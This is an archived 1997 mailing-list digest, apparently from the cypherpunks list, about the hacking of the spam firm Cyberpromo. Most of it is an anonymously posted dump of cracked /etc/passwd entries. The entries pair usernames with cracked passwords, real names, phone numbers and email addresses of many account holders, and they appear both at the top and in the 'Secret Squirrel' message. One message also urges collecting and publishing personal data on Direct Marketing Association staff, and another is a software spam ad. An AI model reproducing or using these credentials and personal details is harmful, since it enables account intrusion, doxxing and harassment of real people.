Guessed sjs [sjs [ALBERTA]]  Steven Spohn,,610-987-9272, [etc_passwd.fixed /bin/tcsh]
Guessed winwes [winwes [ANKLES]]  Doug Sutton,,905-567-1874, [etc_passwd.fixed /bin/tcsh]
Guessed mattkenn [mattkenn [INWOOD]]  Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed yknott [yknott [TRICKY]]  Rick Brittain,,,rick at y-knott.com [etc_passwd.fixed /bin/tcsh]
Guessed psolutions [psolutions [STEPHANU]]  John Miner,Prime Solutions,818-752-2058, [etc_passwd.fixed /bin/tcsh]
Guessed go2zero [go2zero [MEREDITH]]  Alan Dechart,,503-626-6269, [etc_passwd.fixed /bin/tcsh]
Guessed oppty [oppty [MCVEY]]  Bryan Johnson,,614-888-2007, [etc_passwd.fixed /bin/tcsh]
Guessed dorita [dorita [ZAPATA]]  Quentin R. Hopper / Dora E. Martinez,Ouachita's Online Network,210-681-0256, [etc_passwd.fixed /bin/tcsh]
Guessed bravonfo [bravonfo [PHONECAR]]  Chuck Hatcher,,972-466-3723,ck3723 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed amnat2 [amnat2 [PARROT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed dpomanual [dpomanual [PASSWORD]]  Erika Thompson,L.J. Howard & Assoc.,909-683-1121,akiredanee at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed perfectcel [perfectcel [OCCASION]]  Paul Herbst,,516-475-6831, [etc_passwd.fixed /bin/tcsh]
Guessed emergroup [emergroup [GARFIELD]]  Liesl Peterson,Emerald Group,507-345-3730, [etc_passwd.fixed /bin/tcsh]
Guessed internet4u [emergroup [GARFIELD]]  Donald Goss,,908-396-1438, [etc_passwd.fixed /bin/tcsh]
Guessed freeadds [freeadds [BATMAN]]  Bill Guting,,916-393-2334,awt at cwnet.com [etc_passwd.fixed /bin/tcsh]
Guessed powernet [powernet [ZAINAB]]  Omer Shommo,,312 247-9051, [etc_passwd.fixed /bin/tcsh]
Guessed capsinfo [capsinfo [CELEBORN]]  Dan Roady,Caps,707-545-5944, [etc_passwd.fixed /bin/tcsh]
Guessed monoi4you [monoi4you [TAHITI]]  Laurent Hercy,Monoi Cosmetic,310-450-0145, [etc_passwd.fixed /bin/tcsh]
Guessed choice [choice [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed powerfulu [powerfulu [LAGER]]  Margaretha Murphy,MSM Communications,212-249-8244,mmcom77 at mail.idt.net [etc_passwd.fixed /bin/tcsh]
Guessed sunsetpub [sunsetpub [CESSNA]]  John Fraine,,941-732-1872,hirate at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed max [max [SYLVESTE]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed dsconcepts [dsconcepts [DOLLARS]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed infoforme [infoforme [BBALL]]  Dan Ellenwood,,864-862-0298, [etc_passwd.fixed /bin/tcsh]
Guessed ansinfo [ansinfo [VACATION]]  Adam Sciuto,ANS Enterprises,609-646-6933, [etc_passwd.fixed /bin/tcsh]
Guessed choice2 [choice2 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed intervest [choice2 [PROFIT]]  Lenn Feldmann,,914-351-5051, [etc_passwd.fixed /bin/tcsh]
Guessed tpn [tpn [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed howto [howto [MELODY]]  Michael Piompino,,908-493-3808,m1112m at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed specsit [specsit [SITUATIO]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed green [green [MIRACLES]]  Mary Addams-Shaffer,,1-156-627-4551, [etc_passwd.fixed /bin/tcsh]
Guessed pixel [pixel [GRAYSON]]  Scott Thede,Forward Design,612-702-0811, [etc_passwd.fixed /bin/tcsh]
Guessed cstone [cstone [CORNERST]]  John McKenna,,409-687-2308, [etc_passwd.fixed /bin/tcsh]
Guessed travelbiz [travelbiz [CANADA]]  Thomas Cox,954-925-8132,dodger3 at laker.net,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed ezine [ezine [RUSSELL]]  Jim Daniels,,401 231-9665, [etc_passwd.fixed /bin/tcsh]
Guessed freead [freead [RUGBY]]  Jim Carlberg,Rugby America,217-793-7275, [etc_passwd.fixed /bin/tcsh]
Guessed free1996 [free1996 [JESSICA]]  Lyle Larson,,206-865-9000, [etc_passwd.fixed /bin/tcsh]
Guessed information [information [GIBBERIS]]  Joe Kuhn,,908-220-1110,qwikmail at raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed makemoney1 [makemoney1 [EBONY]]  Kymberlie Varriano,,206-322-2074,songbird55 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed homeall [homeall [GABRIEL]]  Virgilio Gonzales,,619-744-0719, [etc_passwd.fixed /bin/tcsh]
Guessed bewell [bewell [CRYSTAL]]  Benjamin Ice,,813-446-5919, [etc_passwd.fixed /bin/tcsh]
Guessed jbdjerseys [jbdjerseys [CHUNDER]]  John Paskoff,JBD Jerseys,516-799-6660, [etc_passwd.fixed /bin/tcsh]
Guessed carolmc [carolmc [BIRDS]]  Carol Cyr,C + C Specialty Products,417-345-6002, [etc_passwd.fixed /bin/tcsh]
Guessed cliftyfarm [cliftyfarm [BARTON]]  Tommy Thompson,,901-642-1495, [etc_passwd.fixed /bin/tcsh]
Guessed pre [pre [MONEYMAK]]  Ryan Edwards,,301-596-0498,launchepub at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed bdywise [bdywise [DRAKES]]  Greg Olson,Olson & Associates,308-237-3000, [etc_passwd.fixed /bin/tcsh]
Guessed kaboom [kaboom [CHICLET]]  Alan Lange,,800-864-8444, [etc_passwd.fixed /bin/tcsh]





From harka at nycmetro.com  Sat Mar 22 18:43:42 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sat, 22 Mar 1997 18:43:42 -0800 (PST)
Subject: Cyberpromo hacked
Message-ID: <TCPSMTP.17.3.22.-11.49.46.2780269260.1581755@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:lharrison at mhv.net to Harka <=-

 In> At 05:00 AM 3/21/97 -0500, you wrote:
 >
 >http://www.anonymizer.com:8080/http://www.cyberpromo.com


 In> Cyberpromo is apparently blocking anonymizer's access to its
 In> page.  It also had a statement that they believe they know the
 In> identity of the hacker which they have turned over to the
 In> authorities.

Yes, have experienced the same thing. "Connection call failed".
Seemingly a lot of people have checked out their (hacked) page
anonymously and they must have disliked that idea a lot...
Which brings out a whole new issue though: is there a way besides
the Anonymizer to view a page anonymously?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

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ev7Rz1bzCqCdQUXGm47fFRimkNviYPut1IRwW2v0vdF1mncVNmWobGKZBuRDoSce
3+EXf5yxOZJvEaRjBYiZ0KvXSserH90tnLBg+4T+utLmw7QprpIiS/aBx4wxyDd+
fjT2yfKyzPUguy3+d5hQF0UXV3bsTiVqI6wHdldrKrp+WgIqn2vjPA==
=SwHo
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From harka at nycmetro.com  Sat Mar 22 18:44:35 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Sat, 22 Mar 1997 18:44:35 -0800 (PST)
Subject: "why privacy" revisit
Message-ID: <TCPSMTP.17.3.22.-11.50.16.2780269260.1581757@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

 -=> Quoting In:jonathan at gaw.net to Harka <=-

 In> when i talk to people like the Direct Marketer's Assn., they honestly
 In> don't understand what the fuss is about. Their attitude is, quite
 In> literally, "What's the harm being done here?"

 In> what do you think the community interested in privacy protection can
 In> do to best illustrate to the general public the "harm" in the
 In> collection of personal information?

Information warfare. Collect information about DMA people, using
their own weapons against them. Then post it somewhere on the
Internet via remailers and cc themselves, Reuters and the New York
Times...

Ciao

Harka
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT
eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB
HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD
bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T
V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN
Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw==
=rbtn
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From dlane at ultragrafix.com  Sat Mar 22 19:46:52 1997
From: dlane at ultragrafix.com (dlane at ultragrafix.com)
Date: Sat, 22 Mar 1997 19:46:52 -0800 (PST)
Subject: Save over 50% on Microsoft Office Pro 97 & Select Phone !!!
Message-ID: <199703230334.UAA03089@getnet.com>


-----------------------------------------------------------------------
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These are brand new Full Versions that we are selling for $275.00   
This product usually retails for $585.00 in popular stores such as Comp USA
and Computer City.  Please call us at (817) 557-4945 for more information.  

Microsoft Office 97 includes new versions of each of the component
applications, including Microsoft Word, Microsoft Excel, the PowerPoint�
presentation graphics program and Microsoft Access, as well as the new
Microsoft Outlook. Common to these Office 97 applications is the
integration of new Internet technologies. 

Please call us at (817) 557-4945 to order by all major credit cards.

Shipping is $5.95  for U.S. orders
Shipping is $9.95 for Canadian orders
Shipping is $19.95 (US) for International orders


-----------------------------------------------------------------------
Special #2 - 70% OFF Select Phone 

      We just acquired the last 100 copies of the 1996 (2nd Edition)
Select Phone cd-rom software.  We are selling the remaing quantities
for only $29.95*   The newest version currently sells for $99.95 at
major computer stores including Computer City!  

     Select Phone contains over 95 million White & Yellow Page 
Listings on 6 CD-ROMs!  It is the most popular software for creating
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you can find anyone, anywhere, anyway you want!  If it's in the
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city, zip code,  state, phone number, even business SIC codes.  You
can also use it to locate those long lost friends.   Select Phone
lets you export unlimited listings to Word, Access, Lotus, and many
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     The program runs under Windows 3.1, Windows 95, Windows NT, Dos,
and Macintosh System 7.  

* Plus $4.95 for shipping and handling to anywhere in the U.S.  
* Canadian Orders please include $7.95 for shipping cost
* All other International Orders please include $12.95 for shipping

To order Select Phone 96 send check or money order for $34.90 to:
	 
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PO Box 173127
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	*** (Please allow 4 weeks for delivery on check orders) ***

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You can also fax your order to us at (817) 557-9608
     Please Include: Name, Address, Phone Number, Credit Card #,
     and expiration date on your faxes !!!

*******************************************************************
Please Note - All remove requests will be honored and enforced
by our postmaster. If you'd rather not receive offers for large
discounts on software in the future (usually about 1 per month) 
simply reply with "REMOVE" in the subject line of your email and you
will be deleted immediately from any further mailings by our system.
                          Thank You
*******************************************************************






From nobody at squirrel.owl.de  Sat Mar 22 19:53:28 1997
From: nobody at squirrel.owl.de (Secret Squirrel)
Date: Sat, 22 Mar 1997 19:53:28 -0800 (PST)
Subject: some /etc/passwd stuff from Cyberpromo
Message-ID: <19970323034945.5700.qmail@squirrel.owl.de>


A little mouse just came into my house and said that the following
uz3rz at cyberpromo.com have the following passwords:

	- Ignoramus.

Guessed broot [<no-ciphertext>]  System Administrator [etc_passwd.fixed /bin/csh]
Guessed box12 [box12 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed valscan [valscan [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box8 [box8 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed greatsex [greatsex [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed makemony [greatsex [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed greatads [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed vic [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box2 [box2 [SINGER]]   [etc_passwd.fixed ]
Guessed box7 [box7 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed checknsee [checknsee [DISNEY]]  Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh]
Guessed fixit [fixit [GEORGE]]  Terry Judge,,216-745-9444,amerwtrprf at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed box9 [box9 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed results [results [SINGER]]  Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box10 [box10 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed getrich [getrich [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box5 [box5 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box11 [box11 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box3 [box3 [SINGER]]  Mike Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box4 [box4 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box6 [box6 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed gics [gics [SINGER]]  Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh]
Guessed julie [julie [SINGER]]  Michael Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box1 [box1 [SINGER]]  Michael Singer,, , [etc_passwd.fixed /bin/tcsh]
Guessed action [action [SUCCESS]]  Thomas Cox,,954-925-8132,dodger3 at laker.net [etc_passwd.fixed /bin/tcsh]
Guessed simple [simple [SOLUTION]]  Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh]
Guessed winnernet [winnernet [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed newma [newma [DANIEL]]  Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh]
Guessed coolbreeze [coolbreeze [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed esi [esi [RICHARD]]  Richard Damewood,,, [etc_passwd.fixed /bin/tcsh]
Guessed freebook [freebook [JOSEPH]]  Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldking [goldking [SPECIAL]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed rav537 [rav537 [NATHAN]]  Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh]
Guessed bfranklin [bfranklin [SUCCESS]]  Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ourcoinc [ourcoinc [PROSPER]]  Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh]
Guessed bfepro [bfepro [BFE5253]]  Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh]
Guessed moneyman [moneyman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1 at nni.com [etc_passwd.fixed /bin/tcsh]
Guessed gfaiusa [gfaiusa [MONEY]]  Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh]
Guessed exciting [exciting [SPECIAL]]  Daniel Sheehey,,707-822-8324,djshee at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed autod [autod [GOGO]]  Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh]
Guessed lifeinfo [lifeinfo [LIFE]]  Pete Mckeown,Life Extension,303-985-4371,leipro at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed setmefree [setmefree [SECRET]]  Steve Walker,The Financial Alliance,904-387-1628,plsfreeme at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed cowcr [cowcr [COWCR]]  Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gpwhitepaper [gpwhitepaper [FRED]]  Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh]
Guessed accobra [accobra [ACCOBRA]]  Glenn Pack,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasoline [gasoline [ANTHONY]]  Mike Jacobellis,,,magnet at exp.net [etc_passwd.fixed /bin/tcsh]
Guessed herpesinfo [herpesinfo [FREECTR]]  Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh]
Guessed richman [richman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1 at nni.com [etc_passwd.fixed /bin/tcsh]
Guessed christian [christian [SUCCESS]]  Jon Bender,peakpr4mer at aol.com,, [etc_passwd.fixed /bin/tcsh]
Guessed goinfo [goinfo [GREEN]]  Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh]
Guessed datalux [datalux [WALLACE2]]  Carole Moses,Crestar Enterprises,516-223-3607,careve at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed matrix [matrix [MATRIX]]  Martin Parker,,matrixfund at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed sti [sti [FROGGY]]  Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh]
Guessed wwjp [wwjp [TRAVEL]]  Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh]
Guessed team1 [team1 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed genesisgroup [genesisgroup [BRYAN]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed telecomm [telecomm [PARADIGM]]  Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed goodchecks [goodchecks [RAINBOW]]  Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh]
Guessed rpalm [rpalm [HAMMER]]  Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh]
Guessed info4unow [info4unow [ASHLEY]]  Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh]
Guessed skeptics [skeptics [COWCR]]  Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goodincome [goodincome [MARKETIN]]  Ron Linkous,,804-741-4432,rlink15133 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed tgtbt [tgtbt [COWCR]]  Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed mailordman [mailordman [VICTOR]]  Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh]
Guessed peteexcel [peteexcel [CAMERON]]  Pete Maneos,,610-337-1468,newmedia30 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed higher [higher [SUCCESS]]  Eric gordon,,909-653-2357,teammlm at earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed gasinfo [gasinfo [ANTHONY]]  Mike Jacobellis,\,,magnet at exp.net [etc_passwd.fixed /bin/tcsh]
Guessed asomerset [asomerset [SOMERSET]]  DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed childstory [childstory [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed hokamix [hokamix [STERLING]]  Michael Medefind,Aellen Enterprises,916-987-1234,meandre at christcom.net [etc_passwd.fixed /bin/tcsh]
Guessed gab [gab [NEWLIFE]]  Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh]
Guessed galatic [galatic [GALATIC]]  Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh]
Guessed report [report [INTERNET]]  Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh]
Guessed mountain1 [mountain1 [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed scanman [scanman [ASHLEY]]  DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh]
Guessed bwealthy [bwealthy [SUCCESS]]  Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh]
Guessed truthnet [truthnet [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed essentials [essentials [SUSAN]]  Susan Pottish,,415-453-9546,svand at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed laser1 [laser1 [FREEDOM]]  Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh]
Guessed mother [mother [ANTHONY]]  Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet at iosys.net [etc_passwd.fixed /bin/tcsh]
Guessed freedom4u [freedom4u [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed pyruvate [pyruvate [WHEELS]]  Jerry Schneider,,,pyruvate at ournetwork.com [etc_passwd.fixed /bin/tcsh]
Guessed acarnegie [acarnegie [SUCCESS]]  Jon Bender,,peakpr4mer at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed tatiana [tatiana [JOSEPH]]  Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh]
Guessed gor [gor [GORAVANI]]  Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh]
Guessed somerset [somerset [SOMERSET]]  Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed wheels [wheels [WHEELS]]  Tony Marsello,,,multichev at earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed freeeagle [freeeagle [FREEDOM]]  Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh]
Guessed team2 [team2 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed aplus [aplus [STUDY]]  Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh]
Guessed theraven [theraven [KABOOM]]  Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh]
Guessed lash [lash [ANTHONY]]  bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh]
Guessed career [career [CHOICE]]  Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh]
Guessed giveinfo [giveinfo [VINCENT]]  Vincent Garguilo,,718-256-0904,vinigar at peakaccess.net [etc_passwd.fixed /bin/tcsh]
Guessed ournetwork [ournetwork [WHEELS]]  Jerry Schneider,,206-588-0096,75020.2702 at compuserve.com [etc_passwd.fixed /bin/tcsh]
Guessed lightquest [lightquest [GORDON]]  Gordon M. Curry,,972-431-4956,lightquest at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed visionpics [visionpics [RESPONSE]]  Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh]
Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]]  Warren,,, [etc_passwd.fixed /bin/tcsh]
Guessed jeffsmoney [jeffsmoney [JEFFSMON]]  Jeff Jacobs,J+J Enterprises,212-290-4517,jeff at superteam.com [etc_passwd.fixed /bin/tcsh]
Guessed global [global [DISCOVER]]  Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh]
Guessed linktvmem [linktvmem [LINKTVME]]  Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh]
Guessed phone [phone [PHONE]]  Susan Pottish,,415-453-9546,svamd at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed products [products [MOUNTAIN]]  Joe Kuhn,,908-220-1110,qwikmail at raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed tnoni [tnoni [HEALTH]]  Michael Avenoso,Riverwood Health,501-253-2535,amstar7 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed stink [stink [GREATSEX]]  Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh]
Guessed judge [judge [VANELGOR]]  Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh]
Guessed beitall [beitall [DOITNOW]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed infolink [infolink [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed bugbox [bugbox [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed seicom [seicom [Hubertt]]  Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh]
Guessed yourreply [yourreply [REPORTS]]  Vince Bedell,AAA Discount,702-564-9651,vince2602 at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed wholesale [wholesale [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed profitsnow [profitsnow [MATTG]]  Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed freshair [freshair [BRADNEAR]]  Brad Near,,, [etc_passwd.fixed /bin/tcsh]
Guessed succeednow [succeednow [MARTINR]]  Martin Ruiz,Golden Success,904-532-9753,martin at goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed cmc [cmc [RANDYC]]  Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh]
Guessed contacts [contacts [MARTINRU]]  Martin Ruiz,Golden Success,904-532-9753,martin at goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed a1amway [a1amway [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed bizinfo [bizinfo [FLIGHT]]  Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh]
Guessed profitsonline [profitsonline [MATTG]]  Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasmlm [gasmlm [GSCHMIDT]]  Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt at usa.net [etc_passwd.fixed /bin/tcsh]
Guessed infosoft [infosoft [BRANDY]]  Jay Pinkus,         ,215-953-8239, [etc_passwd.fixed /bin/tcsh]
Guessed ion [ion [MATTG]]  Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed mktamerica [mktamerica [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed futureplan [futureplan [STMARTIN]]  Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh]
Guessed inside [inside [INFO1]]  Mark A. Watts,Inside Access,503-612-0538,insideacc at aol.com [etc_passwd.fixed /bin/tcsh]
Guessed healthnow [healthnow [HARRY1]]  Thomas M. Cox,,dodger3 at laker.net, [etc_passwd.fixed /bin/tcsh]
Guessed sms [sms [HARRY1]]  Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh]
Guessed success1 [success1 [PROMO1]]  GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed yousave [yousave [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed paulott [paulott [PAULOTT1]]  Paul Ott,941-731-7855,pott123 at aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed savenow [savenow [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed utilizatt [utilizatt [FREEDOM2]]  Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh]
Guessed eric [eric [DIANE2]]  Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh]
Guessed contino [contino [CAREER4]]  Carl Contino,First Family Internet Services,716-834-0057,contino at ffinternet.com [etc_passwd.fixed /bin/tcsh]
Guessed emailfarmer [emailfarmer [RENERENE]]  BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouse [lighthouse [DATADATA]]  Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh]
Guessed earthtrust [earthtrust [DATADATA]]  Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed empire [empire [RENERENE]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed earthangels [earthangels [DATADATA]]  Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed futurenet [futurenet [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
